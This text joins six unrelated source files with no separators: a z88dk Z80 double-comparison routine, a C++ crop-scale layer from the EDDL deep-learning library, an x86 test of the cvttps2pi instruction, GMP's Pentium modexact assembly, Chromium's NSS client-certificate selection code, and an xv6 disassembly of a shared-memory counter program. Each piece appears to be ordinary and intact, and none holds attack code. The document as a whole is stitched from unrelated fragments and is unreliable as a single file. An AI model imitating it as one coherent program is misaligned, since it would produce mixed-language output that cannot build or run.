; ; Z88dk Generic Floating Point Math Library ; ; common routine for double precision comparisons ; ; $Id: dcompar.asm,v 1.3 2016/06/21 21:16:49 dom Exp $: SECTION code_fp PUBLIC dcompar EXTERN compare .dcompar POP HL ;save 1st return addr POP AF ;save 2nd return addr POP DE ;get number to compare POP IX POP BC PUSH AF ;replace 2nd addr PUSH HL ;replace 1st addr, fall into... jp compare
/* * EDDL Library - European Distributed Deep Learning Library. * Version: 0.8 * copyright (c) 2020, Universidad Politécnica de Valencia (UPV), PRHLT Research Centre * Date: November 2020 * Author: PRHLT Research Centre, UPV, (rparedes@prhlt.upv.es), (jon@prhlt.upv.es) * All rights reserved */ #include <cstdio> #include <cstdlib> #include <iostream> #include "eddl/layers/da/layer_da.h" using namespace std; int LCropScale::total_layers = 0; LCropScale::LCropScale(Layer *parent, vector<int> from_coords, vector<int> to_coords, WrappingMode da_mode, float cval, string name, int dev, int mem) : LCrop(parent, from_coords, to_coords, false, cval, name, dev, mem) { if(name.empty()) this->name = "crop_scale" + to_string(++total_layers); this->da_mode=da_mode; } void LCropScale::forward() { Tensor::crop_scale(this->input, this->output, this->from_coords, this->to_coords, this->da_mode, this->cval); }
%ifdef CONFIG { "RegData": { "MM0": ["0x0000000100000002", "0x0"], "XMM0": ["0x3f80000040000000", "0x5152535455565758"] }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 mov rax, 0x3f80000040000000 mov [rdx + 8 * 0], rax mov rax, 0x5152535455565758 mov [rdx + 8 * 1], rax mov rax, 0x6162636465666768 mov [rdx + 8 * 2], rax mov rax, 0x7172737475767778 mov [rdx + 8 * 3], rax movq mm0, [rdx + 8 * 2] movaps xmm0, [rdx + 8 * 0] cvttps2pi mm0, xmm0 hlt
dnl Intel Pentium mpn_modexact_1_odd -- exact division style remainder. dnl Copyright 2000-2002, 2014 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C P5: 23.0 cycles/limb C mp_limb_t mpn_modexact_1_odd (mp_srcptr src, mp_size_t size, C mp_limb_t divisor); C mp_limb_t mpn_modexact_1c_odd (mp_srcptr src, mp_size_t size, C mp_limb_t divisor, mp_limb_t carry); C C There seems no way to pair up the two lone instructions in the main loop. C C The special case for size==1 saves about 20 cycles (non-PIC), making it C the same as mpn_mod_1, and in fact making modexact faster than mod_1 at C all sizes. C C Alternatives: C C Using mmx for the multiplies might be possible, with pmullw and pmulhw C having just 3 cycle latencies, but carry bit handling would probably be C complicated. defframe(PARAM_CARRY, 16) defframe(PARAM_DIVISOR,12) defframe(PARAM_SIZE, 8) defframe(PARAM_SRC, 4) dnl re-using parameter space define(VAR_INVERSE,`PARAM_SIZE') TEXT ALIGN(16) PROLOGUE(mpn_modexact_1c_odd) deflit(`FRAME',0) movl PARAM_DIVISOR, %eax movl PARAM_CARRY, %edx jmp L(start_1c) EPILOGUE() ALIGN(16) PROLOGUE(mpn_modexact_1_odd) deflit(`FRAME',0) movl PARAM_DIVISOR, %eax xorl %edx, %edx C carry L(start_1c): ifdef(`PIC',` ifdef(`DARWIN',` shrl %eax C d/2 LEA( binvert_limb_table, %ecx) pushl %ebx FRAME_pushl() movl PARAM_SIZE, %ebx andl $127, %eax subl $2, %ebx movb (%eax,%ecx), %cl jc L(one_limb) ',` call L(here) FRAME_pushl() L(here): shrl %eax C d/2 movl (%esp), %ecx C eip addl $_GLOBAL_OFFSET_TABLE_+[.-L(here)], %ecx movl %ebx, (%esp) C push ebx andl $127, %eax movl PARAM_SIZE, %ebx movl binvert_limb_table@GOT(%ecx), %ecx subl $2, %ebx movb (%eax,%ecx), %cl C inv 8 bits jc L(one_limb) ') ',` dnl non-PIC shrl %eax C d/2 pushl %ebx FRAME_pushl() movl PARAM_SIZE, %ebx andl $127, %eax subl $2, %ebx jc L(one_limb) movb binvert_limb_table(%eax), %cl C inv 8 bits ') movl %ecx, %eax addl %ecx, %ecx C 2*inv imull %eax, %eax C inv*inv imull PARAM_DIVISOR, %eax C inv*inv*d subl %eax, %ecx C inv = 2*inv - inv*inv*d movl %ecx, %eax addl %ecx, %ecx C 2*inv imull %eax, %eax C inv*inv imull PARAM_DIVISOR, %eax C inv*inv*d subl %eax, %ecx C inv = 2*inv - inv*inv*d pushl %esi FRAME_pushl() ASSERT(e,` C d*inv == 1 mod 2^GMP_LIMB_BITS movl %ecx, %eax imull PARAM_DIVISOR, %eax cmpl $1, %eax') movl PARAM_SRC, %esi movl %ecx, VAR_INVERSE movl (%esi), %eax C src[0] leal 4(%esi,%ebx,4), %esi C &src[size-1] xorl $-1, %ebx C -(size-1) ASSERT(nz) jmp L(entry) C The use of VAR_INVERSE means only a store is needed for that value, rather C than a push and pop of say %edi. ALIGN(16) L(top): C eax scratch, low product C ebx counter, limbs, negative C ecx carry bit C edx scratch, high product C esi &src[size-1] C edi C ebp mull PARAM_DIVISOR C h:dummy = q*d movl (%esi,%ebx,4), %eax C src[i] subl %ecx, %edx C h -= -c L(entry): subl %edx, %eax C s = src[i] - h sbbl %ecx, %ecx C new -c (0 or -1) imull VAR_INVERSE, %eax C q = s*i incl %ebx jnz L(top) mull PARAM_DIVISOR movl (%esi), %eax C src high subl %ecx, %edx C h -= -c cmpl PARAM_DIVISOR, %eax jbe L(skip_last) deflit(FRAME_LAST,FRAME) subl %edx, %eax C s = src[i] - h popl %esi FRAME_popl() sbbl %ecx, %ecx C c (0 or -1) popl %ebx FRAME_popl() imull VAR_INVERSE, %eax C q = s*i mull PARAM_DIVISOR C h:dummy = q*d movl %edx, %eax subl %ecx, %eax ret C When high<divisor can skip last step. L(skip_last): deflit(`FRAME',FRAME_LAST) C eax src high C ebx C ecx C edx r C esi subl %eax, %edx C r-s popl %esi FRAME_popl() sbbl %eax, %eax C -1 if underflow movl PARAM_DIVISOR, %ebx andl %ebx, %eax C divisor if underflow popl %ebx FRAME_popl() addl %edx, %eax C addback if underflow ret C Special case for size==1 using a division for r = c-a mod d. C Could look for a-c<d and save a division sometimes, but that doesn't seem C worth bothering about. L(one_limb): deflit(`FRAME',4) C eax C ebx size-2 (==-1) C ecx C edx carry C esi src end C edi C ebp movl %edx, %eax movl PARAM_SRC, %edx movl PARAM_DIVISOR, %ecx popl %ebx FRAME_popl() subl (%edx), %eax C c-a sbbl %edx, %edx decl %ecx C d-1 andl %ecx, %edx C b*d+c-a if c<a, or c-a if c>=a divl PARAM_DIVISOR movl %edx, %eax ret EPILOGUE() ASM_END()
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "net/ssl/client_cert_store_impl.h" #include <nss.h> #include <ssl.h> #include "base/logging.h" #include "net/cert/x509_util.h" namespace net { namespace { // Examines the certificates in |cert_list| to find all certificates that match // the client certificate request in |request|, storing the matching // certificates in |selected_certs|. // If |query_nssdb| is true, NSS will be queried to construct full certificate // chains. If it is false, only the certificate will be considered. bool GetClientCertsImpl(CERTCertList* cert_list, const SSLCertRequestInfo& request, bool query_nssdb, CertificateList* selected_certs) { DCHECK(cert_list); DCHECK(selected_certs); selected_certs->clear(); // Create a "fake" CERTDistNames structure. No public API exists to create // one from a list of issuers. CERTDistNames ca_names; ca_names.arena = NULL; ca_names.nnames = 0; ca_names.names = NULL; ca_names.head = NULL; std::vector<SECItem> ca_names_items(request.cert_authorities.size()); for (size_t i = 0; i < request.cert_authorities.size(); ++i) { const std::string& authority = request.cert_authorities[i]; ca_names_items[i].type = siBuffer; ca_names_items[i].data = reinterpret_cast<unsigned char*>(const_cast<char*>(authority.data())); ca_names_items[i].len = static_cast<unsigned int>(authority.size()); } ca_names.nnames = static_cast<int>(ca_names_items.size()); if (!ca_names_items.empty()) ca_names.names = &ca_names_items[0]; for (CERTCertListNode* node = CERT_LIST_HEAD(cert_list); !CERT_LIST_END(node, cert_list); node = CERT_LIST_NEXT(node)) { // Only offer unexpired certificates. if (CERT_CheckCertValidTimes(node->cert, PR_Now(), PR_TRUE) != secCertTimeValid) { continue; } scoped_refptr<X509Certificate> cert = X509Certificate::CreateFromHandle( node->cert, X509Certificate::OSCertHandles()); // Check if the certificate issuer is allowed by the server. if (request.cert_authorities.empty() || (!query_nssdb && cert->IsIssuedByEncoded(request.cert_authorities)) || (query_nssdb && NSS_CmpCertChainWCANames(node->cert, &ca_names) == SECSuccess)) { selected_certs->push_back(cert); } } std::sort(selected_certs->begin(), selected_certs->end(), x509_util::ClientCertSorter()); return true; } } // namespace bool ClientCertStoreImpl::GetClientCerts(const SSLCertRequestInfo& request, CertificateList* selected_certs) { CERTCertList* client_certs = CERT_FindUserCertsByUsage( CERT_GetDefaultCertDB(), certUsageSSLClient, PR_FALSE, PR_FALSE, NULL); // It is ok for a user not to have any client certs. if (!client_certs) return true; bool rv = GetClientCertsImpl(client_certs, request, true, selected_certs); CERT_DestroyCertList(client_certs); return rv; } bool ClientCertStoreImpl::SelectClientCertsForTesting( const CertificateList& input_certs, const SSLCertRequestInfo& request, CertificateList* selected_certs) { CERTCertList* cert_list = CERT_NewCertList(); if (!cert_list) return false; for (size_t i = 0; i < input_certs.size(); ++i) { CERT_AddCertToListTail( cert_list, CERT_DupCertificate(input_certs[i]->os_cert_handle())); } bool rv = GetClientCertsImpl(cert_list, request, false, selected_certs); CERT_DestroyCertList(cert_list); return rv; } } // namespace net
_shm_cnt: file format elf32-i386 Disassembly of section .text: 00001000 <main>: struct uspinlock lock; int cnt; }; int main(int argc, char *argv[]) { 1000: f3 0f 1e fb endbr32 1004: 8d 4c 24 04 lea 0x4(%esp),%ecx 1008: 83 e4 f0 and $0xfffffff0,%esp 100b: ff 71 fc pushl -0x4(%ecx) 100e: 55 push %ebp 100f: 89 e5 mov %esp,%ebp 1011: 57 push %edi 1012: 56 push %esi 1013: 53 push %ebx 1014: 51 push %ecx 1015: 83 ec 18 sub $0x18,%esp int pid; int i=0; struct shm_cnt *counter; pid=fork(); 1018: e8 2e 03 00 00 call 134b <fork> sleep(1); 101d: 83 ec 0c sub $0xc,%esp 1020: 6a 01 push $0x1 pid=fork(); 1022: 89 c7 mov %eax,%edi sleep(1); 1024: e8 ba 03 00 00 call 13e3 <sleep> //shm_open: first process will create the page, the second will just attach to the same page //we get the virtual address of the page returned into counter //which we can now use but will be shared between the two processes shm_open(1,(char **)&counter); 1029: 8d 45 e4 lea -0x1c(%ebp),%eax 102c: 5b pop %ebx 102d: 5e pop %esi 102e: 50 push %eax 102f: be 68 18 00 00 mov $0x1868,%esi 1034: 6a 01 push $0x1 1036: e8 b8 03 00 00 call 13f3 <shm_open> // printf(1,"%s returned successfully from shm_open with counter %x\n", pid? "Child": "Parent", counter); for(i = 0; i < 10000; i++) 103b: 83 c4 10 add $0x10,%esp 103e: b8 6f 18 00 00 mov $0x186f,%eax 1043: 85 ff test %edi,%edi 1045: 0f 44 f0 cmove %eax,%esi 1048: 31 db xor %ebx,%ebx 104a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi { uacquire(&(counter->lock)); 1050: 83 ec 0c sub $0xc,%esp 1053: ff 75 e4 pushl -0x1c(%ebp) 1056: e8 d5 07 00 00 call 1830 <uacquire> counter->cnt++; 105b: 8b 45 e4 mov -0x1c(%ebp),%eax 105e: 83 40 04 01 addl $0x1,0x4(%eax) urelease(&(counter->lock)); 1062: 89 04 24 mov %eax,(%esp) 1065: e8 e6 07 00 00 call 1850 <urelease> 106a: 69 c3 d5 78 e9 26 imul $0x26e978d5,%ebx,%eax 1070: 83 c4 10 add $0x10,%esp 1073: c1 c8 03 ror $0x3,%eax //print something because we are curious and to give a chance to switch process if(i%1000 == 0) 1076: 3d 37 89 41 00 cmp $0x418937,%eax 107b: 77 1a ja 1097 <main+0x97> printf(1,"Counter in %s is %d at address %x\n",pid? "Parent" : "Child", counter->cnt, counter); 107d: 8b 45 e4 mov -0x1c(%ebp),%eax 1080: 83 ec 0c sub $0xc,%esp 1083: 50 push %eax 1084: ff 70 04 pushl 0x4(%eax) 1087: 56 push %esi 1088: 68 a8 18 00 00 push $0x18a8 108d: 6a 01 push $0x1 108f: e8 2c 04 00 00 call 14c0 <printf> 1094: 83 c4 20 add $0x20,%esp for(i = 0; i < 10000; i++) 1097: 83 c3 01 add $0x1,%ebx 109a: 81 fb 10 27 00 00 cmp $0x2710,%ebx 10a0: 75 ae jne 1050 <main+0x50> } if(pid) 10a2: 8b 45 e4 mov -0x1c(%ebp),%eax 10a5: 8b 40 04 mov 0x4(%eax),%eax 10a8: 85 ff test %edi,%edi 10aa: 74 25 je 10d1 <main+0xd1> { printf(1,"Counter in parent is %d\n",counter->cnt); 10ac: 51 push %ecx 10ad: 50 push %eax 10ae: 68 75 18 00 00 push $0x1875 10b3: 6a 01 push $0x1 10b5: e8 06 04 00 00 call 14c0 <printf> wait(); 10ba: e8 9c 02 00 00 call 135b <wait> 10bf: 83 c4 10 add $0x10,%esp } else printf(1,"Counter in child is %d\n\n",counter->cnt); //shm_close: first process will just detach, next one will free up the shm_table entry (but for now not the page) shm_close(1); 10c2: 83 ec 0c sub $0xc,%esp 10c5: 6a 01 push $0x1 10c7: e8 2f 03 00 00 call 13fb <shm_close> exit(); 10cc: e8 82 02 00 00 call 1353 <exit> printf(1,"Counter in child is %d\n\n",counter->cnt); 10d1: 52 push %edx 10d2: 50 push %eax 10d3: 68 8e 18 00 00 push $0x188e 10d8: 6a 01 push $0x1 10da: e8 e1 03 00 00 call 14c0 <printf> 10df: 83 c4 10 add $0x10,%esp 10e2: eb de jmp 10c2 <main+0xc2> 10e4: 66 90 xchg %ax,%ax 10e6: 66 90 xchg %ax,%ax 10e8: 66 90 xchg %ax,%ax 10ea: 66 90 xchg %ax,%ax 10ec: 66 90 xchg %ax,%ax 10ee: 66 90 xchg %ax,%ax 000010f0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 10f0: f3 0f 1e fb endbr32 10f4: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 10f5: 31 c0 xor %eax,%eax { 10f7: 89 e5 mov %esp,%ebp 10f9: 53 push %ebx 10fa: 8b 4d 08 mov 0x8(%ebp),%ecx 10fd: 8b 5d 0c mov 0xc(%ebp),%ebx while((*s++ = *t++) != 0) 1100: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 1104: 88 14 01 mov %dl,(%ecx,%eax,1) 1107: 83 c0 01 add $0x1,%eax 110a: 84 d2 test %dl,%dl 110c: 75 f2 jne 1100 <strcpy+0x10> ; return os; } 110e: 89 c8 mov %ecx,%eax 1110: 5b pop %ebx 1111: 5d pop %ebp 1112: c3 ret 1113: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 111a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001120 <strcmp>: int strcmp(const char *p, const char *q) { 1120: f3 0f 1e fb endbr32 1124: 55 push %ebp 1125: 89 e5 mov %esp,%ebp 1127: 53 push %ebx 1128: 8b 4d 08 mov 0x8(%ebp),%ecx 112b: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 112e: 0f b6 01 movzbl (%ecx),%eax 1131: 0f b6 1a movzbl (%edx),%ebx 1134: 84 c0 test %al,%al 1136: 75 19 jne 1151 <strcmp+0x31> 1138: eb 26 jmp 1160 <strcmp+0x40> 113a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1140: 0f b6 41 01 movzbl 0x1(%ecx),%eax p++, q++; 1144: 83 c1 01 add $0x1,%ecx 1147: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 114a: 0f b6 1a movzbl (%edx),%ebx 114d: 84 c0 test %al,%al 114f: 74 0f je 1160 <strcmp+0x40> 1151: 38 d8 cmp %bl,%al 1153: 74 eb je 1140 <strcmp+0x20> return (uchar)*p - (uchar)*q; 1155: 29 d8 sub %ebx,%eax } 1157: 5b pop %ebx 1158: 5d pop %ebp 1159: c3 ret 115a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1160: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 1162: 29 d8 sub %ebx,%eax } 1164: 5b pop %ebx 1165: 5d pop %ebp 1166: c3 ret 1167: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 116e: 66 90 xchg %ax,%ax 00001170 <strlen>: uint strlen(char *s) { 1170: f3 0f 1e fb endbr32 1174: 55 push %ebp 1175: 89 e5 mov %esp,%ebp 1177: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 117a: 80 3a 00 cmpb $0x0,(%edx) 117d: 74 21 je 11a0 <strlen+0x30> 117f: 31 c0 xor %eax,%eax 1181: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1188: 83 c0 01 add $0x1,%eax 118b: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 118f: 89 c1 mov %eax,%ecx 1191: 75 f5 jne 1188 <strlen+0x18> ; return n; } 1193: 89 c8 mov %ecx,%eax 1195: 5d pop %ebp 1196: c3 ret 1197: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 119e: 66 90 xchg %ax,%ax for(n = 0; s[n]; n++) 11a0: 31 c9 xor %ecx,%ecx } 11a2: 5d pop %ebp 11a3: 89 c8 mov %ecx,%eax 11a5: c3 ret 11a6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 11ad: 8d 76 00 lea 0x0(%esi),%esi 000011b0 <memset>: void* memset(void *dst, int c, uint n) { 11b0: f3 0f 1e fb endbr32 11b4: 55 push %ebp 11b5: 89 e5 mov %esp,%ebp 11b7: 57 push %edi 11b8: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 11bb: 8b 4d 10 mov 0x10(%ebp),%ecx 11be: 8b 45 0c mov 0xc(%ebp),%eax 11c1: 89 d7 mov %edx,%edi 11c3: fc cld 11c4: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 11c6: 89 d0 mov %edx,%eax 11c8: 5f pop %edi 11c9: 5d pop %ebp 11ca: c3 ret 11cb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 11cf: 90 nop 000011d0 <strchr>: char* strchr(const char *s, char c) { 11d0: f3 0f 1e fb endbr32 11d4: 55 push %ebp 11d5: 89 e5 mov %esp,%ebp 11d7: 8b 45 08 mov 0x8(%ebp),%eax 11da: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 11de: 0f b6 10 movzbl (%eax),%edx 11e1: 84 d2 test %dl,%dl 11e3: 75 16 jne 11fb <strchr+0x2b> 11e5: eb 21 jmp 1208 <strchr+0x38> 11e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 11ee: 66 90 xchg %ax,%ax 11f0: 0f b6 50 01 movzbl 0x1(%eax),%edx 11f4: 83 c0 01 add $0x1,%eax 11f7: 84 d2 test %dl,%dl 11f9: 74 0d je 1208 <strchr+0x38> if(*s == c) 11fb: 38 d1 cmp %dl,%cl 11fd: 75 f1 jne 11f0 <strchr+0x20> return (char*)s; return 0; } 11ff: 5d pop %ebp 1200: c3 ret 1201: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 1208: 31 c0 xor %eax,%eax } 120a: 5d pop %ebp 120b: c3 ret 120c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001210 <gets>: char* gets(char *buf, int max) { 1210: f3 0f 1e fb endbr32 1214: 55 push %ebp 1215: 89 e5 mov %esp,%ebp 1217: 57 push %edi 1218: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1219: 31 f6 xor %esi,%esi { 121b: 53 push %ebx 121c: 89 f3 mov %esi,%ebx 121e: 83 ec 1c sub $0x1c,%esp 1221: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 1224: eb 33 jmp 1259 <gets+0x49> 1226: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 122d: 8d 76 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 1230: 83 ec 04 sub $0x4,%esp 1233: 8d 45 e7 lea -0x19(%ebp),%eax 1236: 6a 01 push $0x1 1238: 50 push %eax 1239: 6a 00 push $0x0 123b: e8 2b 01 00 00 call 136b <read> if(cc < 1) 1240: 83 c4 10 add $0x10,%esp 1243: 85 c0 test %eax,%eax 1245: 7e 1c jle 1263 <gets+0x53> break; buf[i++] = c; 1247: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 124b: 83 c7 01 add $0x1,%edi 124e: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 1251: 3c 0a cmp $0xa,%al 1253: 74 23 je 1278 <gets+0x68> 1255: 3c 0d cmp $0xd,%al 1257: 74 1f je 1278 <gets+0x68> for(i=0; i+1 < max; ){ 1259: 83 c3 01 add $0x1,%ebx 125c: 89 fe mov %edi,%esi 125e: 3b 5d 0c cmp 0xc(%ebp),%ebx 1261: 7c cd jl 1230 <gets+0x20> 1263: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 1265: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 1268: c6 03 00 movb $0x0,(%ebx) } 126b: 8d 65 f4 lea -0xc(%ebp),%esp 126e: 5b pop %ebx 126f: 5e pop %esi 1270: 5f pop %edi 1271: 5d pop %ebp 1272: c3 ret 1273: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1277: 90 nop 1278: 8b 75 08 mov 0x8(%ebp),%esi 127b: 8b 45 08 mov 0x8(%ebp),%eax 127e: 01 de add %ebx,%esi 1280: 89 f3 mov %esi,%ebx buf[i] = '\0'; 1282: c6 03 00 movb $0x0,(%ebx) } 1285: 8d 65 f4 lea -0xc(%ebp),%esp 1288: 5b pop %ebx 1289: 5e pop %esi 128a: 5f pop %edi 128b: 5d pop %ebp 128c: c3 ret 128d: 8d 76 00 lea 0x0(%esi),%esi 00001290 <stat>: int stat(char *n, struct stat *st) { 1290: f3 0f 1e fb endbr32 1294: 55 push %ebp 1295: 89 e5 mov %esp,%ebp 1297: 56 push %esi 1298: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1299: 83 ec 08 sub $0x8,%esp 129c: 6a 00 push $0x0 129e: ff 75 08 pushl 0x8(%ebp) 12a1: e8 ed 00 00 00 call 1393 <open> if(fd < 0) 12a6: 83 c4 10 add $0x10,%esp 12a9: 85 c0 test %eax,%eax 12ab: 78 2b js 12d8 <stat+0x48> return -1; r = fstat(fd, st); 12ad: 83 ec 08 sub $0x8,%esp 12b0: ff 75 0c pushl 0xc(%ebp) 12b3: 89 c3 mov %eax,%ebx 12b5: 50 push %eax 12b6: e8 f0 00 00 00 call 13ab <fstat> close(fd); 12bb: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 12be: 89 c6 mov %eax,%esi close(fd); 12c0: e8 b6 00 00 00 call 137b <close> return r; 12c5: 83 c4 10 add $0x10,%esp } 12c8: 8d 65 f8 lea -0x8(%ebp),%esp 12cb: 89 f0 mov %esi,%eax 12cd: 5b pop %ebx 12ce: 5e pop %esi 12cf: 5d pop %ebp 12d0: c3 ret 12d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 12d8: be ff ff ff ff mov $0xffffffff,%esi 12dd: eb e9 jmp 12c8 <stat+0x38> 12df: 90 nop 000012e0 <atoi>: int atoi(const char *s) { 12e0: f3 0f 1e fb endbr32 12e4: 55 push %ebp 12e5: 89 e5 mov %esp,%ebp 12e7: 53 push %ebx 12e8: 8b 55 08 mov 0x8(%ebp),%edx int n; n = 0; while('0' <= *s && *s <= '9') 12eb: 0f be 02 movsbl (%edx),%eax 12ee: 8d 48 d0 lea -0x30(%eax),%ecx 12f1: 80 f9 09 cmp $0x9,%cl n = 0; 12f4: b9 00 00 00 00 mov $0x0,%ecx while('0' <= *s && *s <= '9') 12f9: 77 1a ja 1315 <atoi+0x35> 12fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 12ff: 90 nop n = n*10 + *s++ - '0'; 1300: 83 c2 01 add $0x1,%edx 1303: 8d 0c 89 lea (%ecx,%ecx,4),%ecx 1306: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx while('0' <= *s && *s <= '9') 130a: 0f be 02 movsbl (%edx),%eax 130d: 8d 58 d0 lea -0x30(%eax),%ebx 1310: 80 fb 09 cmp $0x9,%bl 1313: 76 eb jbe 1300 <atoi+0x20> return n; } 1315: 89 c8 mov %ecx,%eax 1317: 5b pop %ebx 1318: 5d pop %ebp 1319: c3 ret 131a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001320 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1320: f3 0f 1e fb endbr32 1324: 55 push %ebp 1325: 89 e5 mov %esp,%ebp 1327: 57 push %edi 1328: 8b 45 10 mov 0x10(%ebp),%eax 132b: 8b 55 08 mov 0x8(%ebp),%edx 132e: 56 push %esi 132f: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1332: 85 c0 test %eax,%eax 1334: 7e 0f jle 1345 <memmove+0x25> 1336: 01 d0 add %edx,%eax dst = vdst; 1338: 89 d7 mov %edx,%edi 133a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *dst++ = *src++; 1340: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 1341: 39 f8 cmp %edi,%eax 1343: 75 fb jne 1340 <memmove+0x20> return vdst; } 1345: 5e pop %esi 1346: 89 d0 mov %edx,%eax 1348: 5f pop %edi 1349: 5d pop %ebp 134a: c3 ret 0000134b <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 134b: b8 01 00 00 00 mov $0x1,%eax 1350: cd 40 int $0x40 1352: c3 ret 00001353 <exit>: SYSCALL(exit) 1353: b8 02 00 00 00 mov $0x2,%eax 1358: cd 40 int $0x40 135a: c3 ret 0000135b <wait>: SYSCALL(wait) 135b: b8 03 00 00 00 mov $0x3,%eax 1360: cd 40 int $0x40 1362: c3 ret 00001363 <pipe>: SYSCALL(pipe) 1363: b8 04 00 00 00 mov $0x4,%eax 1368: cd 40 int $0x40 136a: c3 ret 0000136b <read>: SYSCALL(read) 136b: b8 05 00 00 00 mov $0x5,%eax 1370: cd 40 int $0x40 1372: c3 ret 00001373 <write>: SYSCALL(write) 1373: b8 10 00 00 00 mov $0x10,%eax 1378: cd 40 int $0x40 137a: c3 ret 0000137b <close>: SYSCALL(close) 137b: b8 15 00 00 00 mov $0x15,%eax 1380: cd 40 int $0x40 1382: c3 ret 00001383 <kill>: SYSCALL(kill) 1383: b8 06 00 00 00 mov $0x6,%eax 1388: cd 40 int $0x40 138a: c3 ret 0000138b <exec>: SYSCALL(exec) 138b: b8 07 00 00 00 mov $0x7,%eax 1390: cd 40 int $0x40 1392: c3 ret 00001393 <open>: SYSCALL(open) 1393: b8 0f 00 00 00 mov $0xf,%eax 1398: cd 40 int $0x40 139a: c3 ret 0000139b <mknod>: SYSCALL(mknod) 139b: b8 11 00 00 00 mov $0x11,%eax 13a0: cd 40 int $0x40 13a2: c3 ret 000013a3 <unlink>: SYSCALL(unlink) 13a3: b8 12 00 00 00 mov $0x12,%eax 13a8: cd 40 int $0x40 13aa: c3 ret 000013ab <fstat>: SYSCALL(fstat) 13ab: b8 08 00 00 00 mov $0x8,%eax 13b0: cd 40 int $0x40 13b2: c3 ret 000013b3 <link>: SYSCALL(link) 13b3: b8 13 00 00 00 mov $0x13,%eax 13b8: cd 40 int $0x40 13ba: c3 ret 000013bb <mkdir>: SYSCALL(mkdir) 13bb: b8 14 00 00 00 mov $0x14,%eax 13c0: cd 40 int $0x40 13c2: c3 ret 000013c3 <chdir>: SYSCALL(chdir) 13c3: b8 09 00 00 00 mov $0x9,%eax 13c8: cd 40 int $0x40 13ca: c3 ret 000013cb <dup>: SYSCALL(dup) 13cb: b8 0a 00 00 00 mov $0xa,%eax 13d0: cd 40 int $0x40 13d2: c3 ret 000013d3 <getpid>: SYSCALL(getpid) 13d3: b8 0b 00 00 00 mov $0xb,%eax 13d8: cd 40 int $0x40 13da: c3 ret 000013db <sbrk>: SYSCALL(sbrk) 13db: b8 0c 00 00 00 mov $0xc,%eax 13e0: cd 40 int $0x40 13e2: c3 ret 000013e3 <sleep>: SYSCALL(sleep) 13e3: b8 0d 00 00 00 mov $0xd,%eax 13e8: cd 40 int $0x40 13ea: c3 ret 000013eb <uptime>: SYSCALL(uptime) 13eb: b8 0e 00 00 00 mov $0xe,%eax 13f0: cd 40 int $0x40 13f2: c3 ret 000013f3 <shm_open>: SYSCALL(shm_open) 13f3: b8 16 00 00 00 mov $0x16,%eax 13f8: cd 40 int $0x40 13fa: c3 ret 000013fb <shm_close>: SYSCALL(shm_close) 13fb: b8 17 00 00 00 mov $0x17,%eax 1400: cd 40 int $0x40 1402: c3 ret 1403: 66 90 xchg %ax,%ax 